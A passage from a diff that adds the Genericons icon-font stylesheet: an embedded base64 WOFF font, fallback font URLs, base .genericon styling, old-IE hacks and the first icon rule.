AjZ+EEEwcOBP+UMVTgyrxgWckEiMgkieZUWk/oyGZPqVjyzKcWWZctyifERZFPGk8hzX3J+RMv3s7SxDMoSNPOntwXhd2/Ge3mbluZP4oerT/RlQZ4AtKGALhdiJCzzzZqBeFOgXB9+cyglGHowfWjAYL3sZ9GuB9zFz0gF0aXDA6J31Tcjsckg8pNUgnnOhHRgOhFvbEP6xSFyWdiZdFOmho8gGNDKVRm1UDPOusMi7snAe1YiarIG6MpR4uB+LLSL3Y4+n3CvarbZyr+eWb387w2mUd957j3oPvv/BB72c5j3lHep9r/wpvffbvJO+1lxPX6upUdrrm5V2n1Npq6mhx50PbdqkPK48TtPP0q4HnqWp8rMPPfRQOUCXPfgs1/TsA3RZ+dlNvzmLhzJkKXmGPMZ4yF6SexLy90rynETV9fnRONcHsYUaWLoHzq4pydeoxAKm+TGGmNqAaZbm5HvEQ88sX9d7AOlyjbVYJ1yNWqJBzNtqNXZvoCPZ3TNn3qVbbv/6Y/9aHGaAuccOtjUyaTIC5jnguD5N9RZv97zvY7xTswjudSRTuc/xjIRUMoSgOM5FUfJAxwjRSCgasWY7Q1lA1wLHJFLIwjSgYz+V70RD4oqwpwSdltPg/U40G3E0wFoA1U5mR1B44RJvZ+PgUEbQvOCVDo033AS74vJyzGTjBWWP4ldgMIFMwbhXJMSU3nl8rp436bVv/Ynetnby0n0vbd8hRztnb9usPH3wceWDvjl1S5fR9iLn/6Vy8Gf3iY994Vrq2zV31r3lr93Dm+hl1PrQN6n3slDgSuU3+7+hvH7VVWuoqH/gqk3/PnmKs3/mmxcusTtSyZUrF0TSejGVXjwwOVerjTW3JOKz6jiTweGcMbfPFo9Y+2KxFf45Wm5wd+8FV3jqw+9s3taVjQQ/uOlL3+e1Swfv2HbtwIqfUIdxw+K1yl+v2jHlc1y6t5Tb3vz7y7fdvPPYQ0P2jueuu0956tpdWzyNv93/EL3q6w/+L6/W8rZy74dfOz27z5xzfE2598R+GMU26c5duegX79Xqdm7eoPz6+mue9/oHLl7xzpx59u6eSy9bvLjeNdHVN2FZ3yyNtjs7EJ5qcWhoV4z3zvF4/UIsMHdRNKs3NDRfcMW0DQmr5ao752xYF4tt33nddXe6bG/cvnf79tZgU4A6fsJteLZnnn1yz/oNpOoj6gnw/nxyJbmR3EFvIrImIa8tyVJCvjUl31SSdyeL0k3o8kl7DLHiTRKe3vQlcBRvssjXIyoHxBlNyJtSciuIyJ0JOXFCXl8avnB9Qh+TSQkDHxeW5PWWQp6l+2SXRc6W5GwCTgo7oMlXGr7ct0PNcfkshT3QdHNSvr0k35Is3r4Hf+32W+GH99yOp3skcDvvUrGsYevIsIplZ1nkmSOFQe4TednID4UdIy1qc59FnjFSWMp/Ii8fKcyaqYeG4Zl9M2yxQt8MPXxouG/WTFtMHrQMLx1cBq2Dy/TyUsvwsqXLbTFyZMbMvlmDS5ctj1f+6DktDArn14NIZjSbUKxdYnHl2utRcH07QDeK7ihahsKeGtAFE0C0pbXQSgDRoTa4SSw6XUzKo9dDszuxfoeKGuxeQGs94P/GhQSNc2mQPowqxwX0dH0gYBhKBqNqN6G3zLlMvM7EZ9M9fLYHmsEHdoDdAQ+44tMBGNSZABXGeZphTrQDHWopf90LX9j5i39Zl6zzeTpD/iU2m6ve5gq3dfvqLc3eeL39nvuURuXjb8ye55u+8ouzbV16quUESo2NJtuUOXfuSiVnt1hfDcSmheqDA7Paa4O2VM+0UHPt0986+rurU00r4l2XX5B0TbampzRNWjO9w8EfZYAKnGP6y95rLu1KDm6VprfMmNKebfb0mm2xjoTT6Yn09ixPxuZPhQvLkpvyBxd3bbikr1XDiYJZZ6ox69xtcVuDoHPGfJ7++X2WxMKOVrOhRtTxfCiebU2mvFvvOiAc2pQPtuZWbt+R3jrZ5rHmLtq6qXzqjF+uYvovg87vAr6/CP3qvgTLrq5A9V5IA3cBgzYni+ksslw6AbyetSAUAJtQWAnKPU1hzi9cMohznhULgb4cWjorThTv5ZupVwMk16CWFE1qyB/OvBygIL/YAfoT9GtcGw12MBBkovgRXZy/qaZv+syDBwuP3L9rpbuhtuWqi6/ItsQ2br5285VLp4lWytWIvpap4fSmxTNsVv8F07sstGvaK7vWu7jg1EUrVg7k7bbeX+/NtTQ28GJjvcFwUueaNEH45iM/XTl/22QfZ2pqMBo0tllLvvLo725YfvtA1qapq9NplT/ytYFAe7SlzsY1eGvraH0gZgq188Xyu3W+lfO/PffmFXPa/WY95Sw3JKe1r1owb1JbTe1LBt/6TYg37wI6bgc6+sm14JUi3mopFRtakHANDiDchoR8eUlekmApwSXVlCCVr0vI3hPyCnBRS8WAl0WU1oGUewN46iXwyRWWQpyB+GK8jmUNe0D0rwfqB7wgTr5cIb4CjKPgaGjRz9uJAlUnymYQspYGuA1Sd/kGkCpzPMDuLRGH67ykE0/1iNiZV0oxnl1xTHVOHXOPoiA6oQh4SFlw/NH4MfSKmZ3I+H9wH6PhzuoTldvBAE6pw67ewH/wzRXkW71/15dO7r7rmhn9T9Kud3bbUvRLJ2/ZtfHCuU8qP3tntzid3tmZXnrNkX1bN3dPDgSnTFoyb9PyxqDfLwKoXLm6LebzOhoSmUCgoX5SbtHg5js2bsjlsumVl37x4ik5v79n2vr57QlXo9PR5IulgyHNfbtPfqm/dvc7ys+eXLVkaDNcTTJ9+R3a9eTgwI7yX/rnz01MjccXL1m3bEpPJNrYUG/XG6xml90TD4R8vp4OmzMUXJlMtLc3uFuic2avXnvBtJYWN4CyZm8yP6HN6fQF0hNdbr+f+QcgY1rMcSbJCiK3If4uRttYGrcOpzyVkHUnZLFUFHXYKLZiLYjYwN697D0IHKATWaEIBrvTWIihg9l0wLRGEVARllQE7QgThMoOE4laM0Wwbdfqxt5iNOlk2Bu8YSqNTNy0Ok91tW6rf/lMi15PD2T6OyJO+N+fySMeVvLTdvRd1ErB97nkkY9v14jt/qbFDyxaciAc6c9M6K3zR9kbPDrU39LRwsIBJbpXl9JtJxPJJDKbLCJryEayg9xAryaYe5xaki9LyMtLxeWXwWjI8kHg55Usgr4hJc8rFdPrrsG6mK6E/IUUxmEBYTsS8paSvEP1qr6YkNtPyN2l4WR3+5gVTZbkbkuhH2RiQUleYCmshbOhkjxkYcGdSEnehtbYVhq+LjJdj8Gwwo2VoM9P/rJLtYg6i6wfKbiFT+SGkR/++eC/PYLNBXeDHsNB9SOFWrhTN0Ke1ulr6+ob3FXL95lrZve620VrIZEGDdgvDvOaLiZbC6zF1oGlqBbXisNT+5azUP6QdXjCiktYAnW6mDdYHE3eq7Zs3/kFbIhYC6FrMOKxaDlMb3dOnicejrQnQpOnq8m7w+A4kZ3X4QUvFjVNffjdDmtB2wh2c8cW6ILNynyuSnLKBrLq0qBkO5kRjIZ5p0uNMamsgUAZhDdOs3Z4HMMgTrsTYTOGkjFH4GQhKbs2YE+D18KEGy6ZEIfSnexOtegHv5qFUkpXD6zpPvL7lRqr1UFz9QMdc9avn9O3VqOcmvfb73WvG9jZFTe9oDylbFP+9QVLW2ZtS2KJp23CpIVP0OB3n6TBJ55Q3nryu8pb26bFE9N6V3pbzV13/0uXudVrHvzB0UH6L9MugVba0Z5vb8/TgY5YbkK78JWBqwdWG+hLzppazawJE9d/bf3qvm7li7WrBq8eyK5oTE689d3du39/a7KzcXkm0dTfE8q9cuLpoaHDGzbC+ycre3tX9t4f85q7uszemHlw8H3Wwl+PP9Fe/vGUec0dLZMI1qVwGIOWiAd8wzuI3JiQ21KytlTUNqKYaikwdgtj3tpS1XE8U6pTX5Lr1cismKyk7QJqhUer6kLqeZj1RlasVJNjir1Q247soG0EC9sQCrPpFp82mC31zT4/skGtVTbm1PIwtbajh/qcLocummGlHDyLcYUzriy7PYX6WfUS+Lu6xAUJzYvU+aLmG+vhlNKX7tr7Er9w/TfwQveS8h8/4xcee8WfSPjpe7f96NnbNrR3rAzE4wGlec9zP73tf3XEj+O9Xx2746c/qdbr6DCvHSJTmL/oLMkeFm1ATzHMKCGWZFEtPACvMALjbRQxOF+LI/Q4mRVTS1Uq4QKsKOOI3UWzzmTWRTuRt3QGGgnoME0hgHtfLSSjJEKHhPDesIYOhed0ZsLKG8qb4Y0hLPZgeUvpGJab0dX01qGIsk/I5wU6FBmaA8/RSDiMGAhzf8+C39vL6rDU6j5iM2htGZeBZh2UN2glehVnU+4u/5kz063lD4WH6Ta67eHyR5Sz043lPyt3062cWfka/ygNKt9XXuYP0OXKy8qRcnb7OppSSuu2Kz/hfkxnKW8pB/kXaFo5qPwG7QTWwmCtk5U4yLgCGFuiEqSi4rklL5Xxw8iwxgXLk6oDHdqHNSz70P5wwKlarPMLsnyroYR1VMCOHHx7bQLrjUjBgHVaOrU4xQVYmAdQjaZLgi8pS5KU50dOA9ODZwRoUSpX6ge12F+B1JJ6ghWOWBkDU25EZi+YWKcN1C/SM+WAGEIrY+3KEFgNHi4VuBQyeNU/Vm/D+KeZhMnFjIMcjIOQfSIs0KCyDwaogiU5OBZeAPkp+ICRhusEuwf9i4agaD1c69A0hcIsguBxwDVmV/3hasHiWYECK3gNYELTcS5gophLxlKczT+iGvDnNT/avPlHyqfKO8qnPxJXPPj6B68/uEI90G9LtPUivvCZh+CMM5x5Cg7KQ/QNZYVyYgVRa8W0qD+A7MTLZkUoYe4ea0StCbkGa4sKts9MO6koWo6c3E/J/pNlwoopEWBgWPI04fepZZRn6FhDGkkbuapaQRnDqpJirBmVVCwKSqo+AVxQ0BiSrJRQl6RyOxNRtZaSA8qqcWMMAoZKxQmY5CQTPPDJkKWgZYSXDRbsKYa/4tVSukzKwV4irQb5QGb9oIeEdOdkqrJwIJIBFkYuAoABQ/iU9Gd4FogbZcG7iFtyRyLpCFhVCYQS/j6FZ/E+x566KB2JuBUCz7jH1WpVxtxJ7quOOZOQ0ykspjl3rNnzjvWcYXVV8ELDR19CYCCn4yY5NVJo03wit4+QYlt7CtHAMBzTYzhAqwFma4pEWya0MubLmEG+Erl/Sp2UfzLnpS4Pb9eBzo6CQbb9YyKBKaK8089zkrbd7W7SbXzq8+nF+VwcRzmNEcjWpIPnaYHUnkW3asQzQVIkSyaTqWQ6OVKlZFOiEOpIpVgx3kSgoi9RbEl3p6DFD6yRmYLYrS1R6MpDS3upkJsG1+cS/YJxRG8CmeV8cK+5VBACeLRguLzQ0gbn0VKhFQssohZmFNNdcJ4qFTon4ZEVWRS0eTifWiroe/E4NmEz/ikf2qCVh1f1+Hnnn0d56Tx/5yc7Kk+qas1zirDHtzP/mw7SQd31uusBVxDaw2WxAis5lWKlINVFAmaqtbt0UQrqabDW3tVB7/jd4fCGyOFI5DDXfDg8FDkcDh/+nbLzghV0sD29UL0fPhwZCh8un8Sn8JF34H6SjKv/tsGvzWcWx4VzzDStl2laNdbtVvVrM9abYmxbI5gsCDkMiE5IwYUlmaac3CQOU1JjUFVruodLejnw8iiLbcep1YLV0xaCzFxRiZvpf0mK+PXv73z9wfCZwmmhv6I1d37/64oo0f/avOJBjlf2Ysk02FlWOsef1Xc/WVvtvZdVzVXGEDh3DMHKGA7jGLy+84zCKw4TR00Dq5ezygYcVpG67Syy/I9GxWMd/j8e2a2c9M8Gp6iMcPb4JpDhceMLM10WTBa9TIt7W8A5bGaRgmY/qOXK2FvHjb0Fo4koTnIgWYyyGEQ0DJ9qieJpCxa3RMcoFEPpAwrJQk6OikVXE0vfua0FDdZO/P8j1ljE7Z8RrRoe+x+Q7qxYlgAS1KYn2uOkjtVYxpBLahKytYTJuWjFFrIFGUAvcMs9J8YlvMBLbMcclwd4pUbk670sgzNBPGQUrM0BptGjCC90JkeTH9c/YM2Ex4cDFymiCgCLCCqiPOCCZGcW0Cr4VDrO0ulzWrQ+axUQnbqC1tA2WrOGfqpor1D+Wzmu/PeaP9Jt81741fNz6U7lroff3vhCv1DJbu1nsEkg9NS67dvXKhpFs24bYMpTyl3zBwbm0R10+yOL5pc/VB8+yVVhFWDaKi0QzzYCLVIkzzxyoIBBpUA6gXUypNDcCi6GpUnMsenOG4nO7HJ7wpF2LO+VBWtRa7XlquME51LHBkZdZuqiUcr8TRqxZbFsAdUXkiEYsFEni76y8e77t2/fvW4LDEu586PbwhdpyEWj7Sf3t3UqbSY33sCB//k2ei0jyL5/u5QeN8FtddSX3h1fNB8/9yZ+rjyw/6RJaessH7k7juP/863KbUgTehk93tm2/yRR6w05ieHUGkIMHGbTDBS8B06ieWUE3mheUkbYmzLCk7Ov2TNErbdktQ416AvQsS+R+PzoCLzxeWl0hL2NjgDIPeuaPYMyLVUwXw1orHZyC8EqCUR5rmSyaGbCbDaBWIqOBjSkrNC8YAwzm8pkOg4uQbXm3AI8aivJtupqIcwa1LNEbSEBfGsBtFHkAkEMo7vsWMMzQV37YgDGbcPFMJwhx9zFcAVcahyIeMf/U7O0RDWczGwi0OzPUAQeZJRUrB5aOGxAJIJY7DRxoxlkWVWpTLiRcn78C9oFcxpxHbN3hHrB57kXcDAxgGtFeaqpwdbfHKFv0jeP0N+UDx8+JNyoPF1+n85VDnEuOodyrvL7aL9Uv0aCqTWSVpaf0QGVQMQ11fovdLaFEq6IKegxYEYxHm3gdLggBiuWJOQNaRTr7UF1CPCFoEUUcFHU8v8xPx+1iQFXwhgoWwpE0ZHhySm4AyOEMeJ6mnKeB3IoqL8FNtcj2hH4nJ7VqeFnhSzNoozgSwJHbWQUGQ01VvsqbmCVMg/f4ZMjvKTkR+EbMCmg3ivX4XvFR4Rvhm/1MVTGw4gNTNeDx2VE+eWJqEZyKVv0gz0m6kBxSRgu1ygzl64ssSGOszU6tsahF6tHCqbGFKsf0TN30YZpX7bogZ4o6G3AkipSNldX1bDCqka2BgIoPBYIEtkyAH+aC8EpAE03dfgtHAlRsuXAFvivVtacJuC+HztG99KFtOmnm06TXyjfUSKchT2CU6OW3hyjq18Bv4ls+qnyH8r3lG3HqEDfoEt/gWMgYHt1f9Q9xWhdX/FG7Uy7m6HjDQk0b5iLiGRpD3W6qBM9aFvKVu3q/G3LuI9zDz44ifv7sm0HP/kjd0NqOK38helbSl7eK7x+8fTpF38a2/uyhi2tGz1c1a38WG2JlURInFxKEHg0lIoNGLMnDU4wryDoTSU5jnHI1lJloaAZhbpo1uBD5loMBCcScssJuU0NAbW1YJi+IaBhtqapGUQ22qaWUfhR7zpd6AlGWcESVwnJsaVLWlZKlq36ihLt7KdTnrv5/WXhOUORHQ/sP3nl3KHw1of2nwQu/3m/8pPnbv7Dcko5NiGgY8l3j69ZHh6aG9l2cr+yZmhOeDs6lthI6TY2I6SyPoytdYpiVWIEC+2wUNtaKlrZUiYr5jhgCnxqBfpY9KuJrU1DBXZGbemZI88K0s1NoLY07gjaHrtYqG3G5CFYnAYW8NKLhRq2nqbWigqM5tSot2h3+s6sWGKxr1TFvawsaQKu5ghbjgfdB80jwQGvlE8QPvB5VPK4TIlTlyepLuXzSjdecQTvlCW2ZI/VEgFH3qNFeTERJ8w3Lj1D7ewaVwRhV7EUKOSC3YJDEmpzLBdWAUV2LYavquVXVKogoOULlPXK+gUHKwsHxxDPB68tUIbovgW0pPztKN5U7doqtGuat1E9oWJx0SC3SnqbjqB7IfikEY6sKiN/wqTqsb/qukLvuJWqmoqAj4WBcF3VmQWDevIxUV+0srL0zPs4/0EkIfAfqsE9ISkbS0UjW+ZmBHsma6BBNU6+khxKFut9rGy/CW5Zkyz8x9YI8rmCrx6OQXWNoDUb9YtRTOpaXWIkxFGxGSQ3k+aiolPAikmdi5JrN/yOk/4wa8GvDx5SfvM4L9le71sI5zT0ONwRyIPUteF3ZekPfT+4UlY+jCmnvCfojPJRDp/74TqZ2mJU1/y68sOjDyrvb/idmqvhgaYCrsF0VOmEQS0hUdCMLROkkoDqG4lAqnYIJwHp21KN5ejUaJhepQmWWOE3oJY2jH1RmNkgAQwQLrvE4NooOptobQa4vJ5o/h2+0cbQ680Ew0IupjyaWG6kOYlrHUHu/EkMP9eqS+W04wv9zpQqqTIXUIFtuFqkVCtaMeVeCCBaaPI2I48WeBfc0Zsd9erSg2GDyd6gJuCBwxCwd6Z7aNJL7SYaiFRxrKFyb4Du3KL8N/2qNDL41ae+OohvrVsf3rr1Yfpo9Q6f5/b3KM1gMcn6yiODgzSHD21VpLF7Z9klXKGcJEhTdYWykfEtx9Yp47pkdSlyQUMA7uiNcCZUlAPFhXb+RnpG0aMx5NlS1zL5yxkdz401KtLZGt6g4rbKOmnVk6hGRu5ns13L1mm5U3IOy/2wii6Qkqew7FU+Ibem5GklOcJW5iRY700p6Dqu5+1UNcf4gAgMZpgTm0IhVxJtiA8DIXBmwRhUoRujHZNLwwZzTy8+MFldK6oGPAqTu2DgWAOlclcF1zEuCzr8maC1Gj38zNE6DuHZxq8qPwvtAbbBSEaEQbdx/y8ah/suomxhMb4wFoIQ8FNQRYAGRx9jj9PIWYc32GF0XDBErS8FzIXx6kaSIGhVeLY4iGeGhTdgRpQ3ob1sYhoXjUgJK/3RvGN0sbIiiyW7wPtMVXKe0r4hne7o7i9fkji6bf9Jl6tSGcjtO77PE9x9dNUVu07u7+lVF6Gjjsc8hqBG/4GHopH0VLVcz26mJhoFRwKj4y/SOXPe7z8+h3rhOOdYv5KjByg5cBoRpQ/vHu9/f84c5Z3+1/rfn83NUnL8L0+TA8xBpYggNeia6VAn69g4eVVlVMp1q7qiast5Nd5bjfKqueXXNB9q/hVUtHtsbaohoSJBXHYqa9SkELosUabelO8spR8qtqV0Ka5KXzqo2BTbIF0K9sRGX9NK7LuA6bPUD5+KQuOHS5XvoH6iS5fyI+xZ/BjLK+S12H/0LtEjghbAlGB/yiMCAOE8O2PPoZ3K43OAvQ3sgxz4V3klzxMuXwYva0TJj9WU89BJsNciKcIFTDOgUYGRATxOXl2gTkFDQzc/5zmQeVTQ6lL2qp+gkdi2DVZWG43+ri6ByAP9ARa6YQj5U+gjR9RSX2RGC15oJC05a6+H80VJv4/UL1p8HSm2Wr8o+iei4AqJoj2UxjbAeo5wBtv0iWJ9Sxe2GQAkTshhW22i2NTGIql1paKnHSOpFJUHOVEU1L0i+FJRazSxM+b9Fe31TXhlKxWdbi87YzmRYkhVGcFSMYLR0yRmSABQFtNd3UkWQC12TuqBs8K0yn4SZ4Kenw2C/k+uOSL94z9OOnsDijL5f7tmLMGxXBPLC6EOnsryQiD5jVgXUN2zomlc+bJYjeGDFkX470Gbh1Ere+6cTFoggstXqgaCw3X9akoNa43VXTVUG0HUVBuuYNpHh3gyOj5vpfZPC7IcIV8i2JlACZExgqEIA0N6QDwqpGCl2MU6G1vgb0ZdFlXXkyN2kuuSiJSM6qYFLFeMdcahBAbyCj4jrivTaDm1ulgWwGQTIxN0meKlXIdYSo1+G2gGADLYAL8jmDl7yKExe6hu/wC+Jg5VGj/4SpoOvQK4f5qwPSKYaIyRYX/VDWLxDbXOBXNaDVg/ZgSPIIUOokNdx2ms5u60NZhrKWq0SAANNcSKWg3Lm2OBE4AXK9xvKFVXdfrtBD32CMFpwxH4K0c0Mspbb50mbylvsTlib4L0nvJIu/IXWtdOL6XrKAtFoE1Sj5X1AES1Mc0wW4tJMYKrV7zgtqWq1sb7WWsDM+Q/ARPBZiHkB1tbE0G85I0AePL5Q+ih8GKxkQVd/qEpwlL/gIYdKNBbq/2MVcK9OBRpiA5RhrsBFIG29/nG2yi1YBDe1PGcsZkBXA/sYwPxgngki16Gtr1sIF6E4z6LOkRco6AuTfD6YDAuwvpfoM5/2ntM6TJ7em7PWXcRvimqZf1sr1VOw/xnJXZjAI18NbNcGuaR4HYemAUt1rLitloLkt42tsXI+OScheHaosWMD1rAg0a3i+XdipzRipEvtuYC49UCNurVRtwKRhZVAdHhJGRFA9o6DEVjtyT0cDAIFFEugpPyG5yKfShj/ze5MJ4/Vn6D8dFYHlcgRtJVHYdRtcM1n+l2JRKFPZQ56JVRI46JKmXOgOhHg0PBcPEqHZHB4Uri1LUm3JiMiaAFZxIMIjhwmTRKlzY1TguCX6BlmsRWGjZqcVeWehYNMTKoVDCCp1VwNuTOKEMxGNDiogsH6IZORISRdBYjflhfwKrB8qPq0gsebMfoKxlVGX6KGkJCLZC9J8vWIZEDulW6VeAXd+K8Rlh5VqcahckCxDkhd5TkDgurJnWzzGqhg8e0vEZfO6EddVpaHLaE6tjSEbf1sOiob2oOshhIEgTtsIf4Qy24x4ncKQ5TTT1uqCGbrYe1xjqLzaX6KVmsZIpmNZ1ZPusCzJZ18U5X2IV1TjqXLqzV2XRYzhjVRW2RqKaq9w/8Qa//wyQ6MdHtuOOl6ZbpL93p7ErRiZNYs/Jq21QnNBv001+6w9GVUl7lIgyFcX+sNnYnzvcwfony6qTKd0M7Z6yAN/6s/ZfYbKo7MLnHrNnYnkYudQcmnDkXOG2HcQcm0c6o4jYj9bQ6YnWcswsT27EoS7U22skWEJ6zG1OSth2/9QvlGbPK3NFZyvHjt52zL1PyuHJ8Fnf0izRVnrHrtuO07Zx+byIon+D9mJn3Y8QobKW+pIJHm5jmr2Wrprlk0cjKHI2o6o0WNAg65vagodYn2Rh16MKZbKCQRLFgBqll7ipu08SwLC41dWDyyFLBxdUCNNQvAsjvKGK/is0+zA5azLOi/yKQU79gJqu/arjOyDBivCZS9dnVgJWgUv6Mz872E2ABY9XJQcj4qRqPIWNxAO/ZsYPq15XGBRFQflSPX40zs32OJLZfGa5P01U+VMGo+AmbGsmFIai/qwLWcZ/lznyWRw0w9lnKdoFSd9ZSt3Eqs2+o7PNExu/zRKr7PPGUbVSir2KuaZW9Sf7/oS46DnWdKWQaZeuEkTAV+IHICm+cUmGXhpzKjIu9Vvqo4q4bSLEJ+/j/iLx045DX58CuELDkIU6jFZqZ1J0XcdmqiMtf+Xd+xFXdb0tSR3n6rJFzn4VcZdx4ipkBtbDr1HjUdbYsukgH0yF2dY+PsRmqT7C949REkA7tvFkEg5T7nD3b+JQYPHfftiLrV2xk5LMqgn+PdWYU+nlWf8xj/bGx/piYZR/fH5Or2p/a8/VnfHj+3P58+0zs5rM9EpLj4zfj+4R5zytZnxIlrLv2sB2R1OwnatumUrGJ7UHSZMNUugWjkyj+uIFAE+CGw7yxtq6NmamI+LRBMLfGO1JqbVmqOpbW847Fxcriseod/3loCivlqxX0wYD1c8fJrfzymkiju74+c0Gj+2XROmMgHF685KuHas87dP74oT6L2Bhsagy0trdNywU8dkd7ZtKkhZunTTuTsmBreNWcBagrm8jyWgA5VKEDXvPRt1mC6O1znsWkEjwrsN0GcZdB+rbiUz/B8l7VfBnm5KzECTKJ1HawiJcJdD83tilbTRJj5hgXRtWQsvltNGhLRYM2dp6iPJzDbw/SxYMgBo4TMWmkcgmC8Ue41LCYdBmVAOKlsYtKXlHViaCy3Jir7bRGQmYajQgfW7Zwt3G3bbH8XHltyyOPbFFe09yhPD9UfpC7Yoh2/0kc+vrXh0Tmz5C19KTuAW0zKHgD7h9po1nepmbvMPlrW0s7Xj927HW66WNKPqb3vE4TyrHXfykQJbeX5mhu7+iyHoH0jD6+l75IX9yrvFipSQBtVcknNpAw2U5QNtwsWNhUwhC6L1XZqC6IMUJW82hEzizogkkgYBMjoAYVGior/GiTutGFP6lmhDGn35zAckhAB00YDMWwaDAMZzyXY1un0TBLYxrO4wenRBUL+3m2V4dWrdYcq2XK9Et0rNBCzXxKSiXxiVJXfaqfZir7iJw+z7g96B2q4/aoK8e9bJRw7VYLg21qvVGjG/dt1KGf5XZVh2LyIMQ38Ll/NpjM5w+CZUP/Yfel8/S7mZB/8HsYYYt+3i9upBb6/EXKvsP/8FdnKB/RF/AptjdeRe40oNu9LP6vHxfx1luBCryWVGoxUIR5MD1J4hCjcRrEXY9YGQOmawC37ZvzzJrTiDlYXQP+Q/yg4KaGyvF9c+YqUiWeWJUbN8uhYozdlMBELylwtZWlJoazfoee5yfO/tpxuSIeaJgmiIlslV1SixqhGgVgOsFXRT5+/E2NwPYnqSAgMclWt/ApdEDjPG7pwAr0grlUz8a+mZv7+zfPRI5Tz/o29qRyiB5OEQzvY5AaX+Wxs7G9ZHCvUZE4SD/zqNT6aFoqaulYUIIf22NSrSwQ1FwOAPOCoAPDoDfWmK02dT2GbMqNA4tZrMhvpv5ohDn80J3TmObhydYtZbJlK88qCFiUCcgGfw9vhT/+YUrO8vccIDPziGrRCzXOJMv56FXBEU7IzlJRcGJnBeysU/UYakrFGrZFVg0AHSZOLmdVnCpoDNwCH/HQ8ZhMXS+AzEvb6OO0jVU8Eqw15TD8TBm/SjDdMMWV4o9+PsOwCcbpOMLipXWsx0sYDjaxPVvVdQCc2mWgo4m5CyZ1m1bAXm7MjmtUsddYWTE6KThMIq5rkJ0iXMqeSjhbZAubdGyVUzCcQssZo5nKEbswtC83sPbobmVkBFO4I2oxCoLbfUNLZ0UfumT3UUwBS8waYn2Q2ucapHANm38OQ7cFXp9Sly2o2VGsAZ7i/NP7rAaYi8v6uMxZCgbtJ7iTJ6/9hB/meL2hUgGMFM6mbMGsXxfkUzpOapE+klroCDtwhEXRykSq1gVJDPtj5Kx3XDU4VavBAZnUlHBr10oG0QYkqqFqjZ5GLBhMqB9FARFIbS43lluMUp6r4grE+5iJUfIjFVTNPACJy4+UV1EfPYMNNGx/D+Q5DUNxDsD+VlLdv7gpUUm12ERXVufCGIorymQzG3VlRcqyttID7z7wAALWBx54l66FkcIRrh94AFrQMuMlrsiAw+i7WHOjEPUTgsSeY/VWGN8fOW98P4V1VyP4bzSv5gzgUs80JuBvbGW3Vewi5FndFsfqtli7nozm4S4V8pWaLg7zHaIAjfj6WCL/F8P1u2sAAHjaY2BkYGBgZjjy6Mpmh3h+m68M8hwMIHDua+N+ZJqDgQNCMYEoAHf+C1gAeNpjYGRg4GD4fwNEMjD8/w8kgSIogBUAY/wD9XjaNU+7FcJADJNNCvq87MMOvEdNxRyq0mWH1GEWegZhACz54nvnj+yTzvGDLQ8gKr8iEQDBRDKqgmqZMMq7/y5kd/UdCLFiC+ITZiivaz6fR0er6d054SksUgzmU3qFEXdFzV2Ez8Ywlc/m5Pilsr2VWitP/bGJ4wvDWi96P3Not+n2B3lgIYIAAAAmACYAJgAuAJIA3gFaAaABrgHkAjoC1AMkA4IEUAUiBXAFzgYgBw4H7ghiCPYJsgp4Cq4LCAs2C4AMHAyiDiAPnBBAEUYRvBMwE7wUHhRaFIYUshTcFVAVgBX6FpYXXBeSF/AYYBkCGYgaBhooGkoa1BryGyQbQBtsG5Yb+Bw2HLAdLh1yHYYdsh4cHjYeYB7iHyYf3iAgIFIgdCCaILIgxiDcIPAhBiEkIegiOCK6IxAjeCPQJDQkbCS8JVIlriYWJjomWCZ2JpQmoib0J3QnvCgGKJAopii8KQApIilMKcgqJCpiKpwqyCsUK2QrvCwWLFYsnizgLPYtBC0SLSAAAAABAAAAgAC9ABAAAAAAAAIAAQACABYAAAEAAYEAAAAAeNqNkr1OAkEUhc8CmmBhRSysNtFCTfiXqFBZiIkaQzRqZ7KaBYz8CStg4/PpC1j6EJZWfjMMwSCFmczOuWfOPffOzEpa0avi8hJJSZ/MCfaUIprgmFb15XBcZW+qSWjTKzu8pLF36/Ay/IfDSa173w6/aS2WcvhdudiOjlXTmXwNFaqvgR7UVYe4wOzC+AqIX1hboMiq/qpHoEhNUN0yESjUWPd8e0RT3RaaiNFTWVnGyI6MGuw+s5qKDfgWGSa3Q42QmYXtwabxD/SE0vi0YTZUdRWP/tTb5nTGw/Rq/LrW74K4QTVznr6KeOUYRVV0pVPd6By0KC89l7lI489prufu6Xe1mi5hJtGMbaKMnN+Q/bzdy2iPb4UTB3rE02jqsOae7nirjEp27uNR0MG/+j+BD21Xh+y24Qf2tjvcQYjr7CUnPVStm09eYLPycKb/Em9Zoq755u2fk2Pd/QGe+3ARAAB42m3S1XIUURRG4VmDBHd3d5k+Z5/uBIdAcHd3CRI0OBRPyCshmRWu6Kqp/6brm9qrutVujTy/frZS63/Pjz8/Wm3ajGEs4xhPDxOYyCQmM4WpTGM6M5jJLGYzh7nMYz4LWMgiFrOEpSxjOStYySpWs4a1rGM9G9jIJjazha1sYzsdKhKZoFDT0EsfO9jJLnazh73sYz8H6OcghxjgMEc4yjGOc4KTnOI0ZzjLOc5zgYtc4jJXuMo1rnODm9ziNne4yz3u84CHPOIxTxjkKc94zguGeMkrXvOGt7xjmPd84COf+MwXvvKN7z3DQ4OpDPT/3YGq03ErN7nZDbe4tdu4vW7fyCa9pJf0kl7SS3pJL+klvTTqVXqVXqVX6VV6lV6lV+lVepVe0kt6SS/pJb3U9bL3ZO/J3pO9J3tP7oy+X7uN2/3/0Amd0Amd0Amd0Amd+Od07wi7hF3CLmGXsEvYJewSdgm7hF3CLmGXsEvYJewSdomkl/SSXtLLelkv62W9rJf1sl7Wy3pZL/RCL/RCL/RCL/RCL/RCr+gVvaJX9Ipe0St6Ra/oFb1ar9ar9Wq9Wq/Wq/VqvVqv1mv0Gr1Gr9Frul7xuyp+V8XvqnTyb1UoNRm4Af+FsAGNAEuwCFBYsQEBjlmxRgYrWCGwEFlLsBRSWCGwgFkdsAYrXFhZsBQrAAAAAVLP0T8AAA==) format('woff'),
+         url('font/genericons-regular-webfont.ttf') format('truetype'),
+         url('font/genericons-regular-webfont.svg#genericonsregular') format('svg');
+    font-weight: normal;
+    font-style: normal;
+}
+
+
+/**
+ * All Genericons
+ */
+
+.genericon {
+	display: inline-block;
+	width: 16px;
+	height: 16px;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	font-size: 16px;
+	line-height: 1;
+	font-family: 'Genericons';
+	text-decoration: inherit;
+	font-weight: normal;
+	font-style: normal;
+	vertical-align: top;
+}
+
+/**
+ * IE7 and IE6 hacks
+ */
+
+.genericon {
+	*overflow: auto;
+	*zoom: 1;
+	*display: inline;
+}
+
+/**
+ * Individual icons
+ */
+
+/* Post formats */
+.genericon-standard:before {        content: '\f100'; }
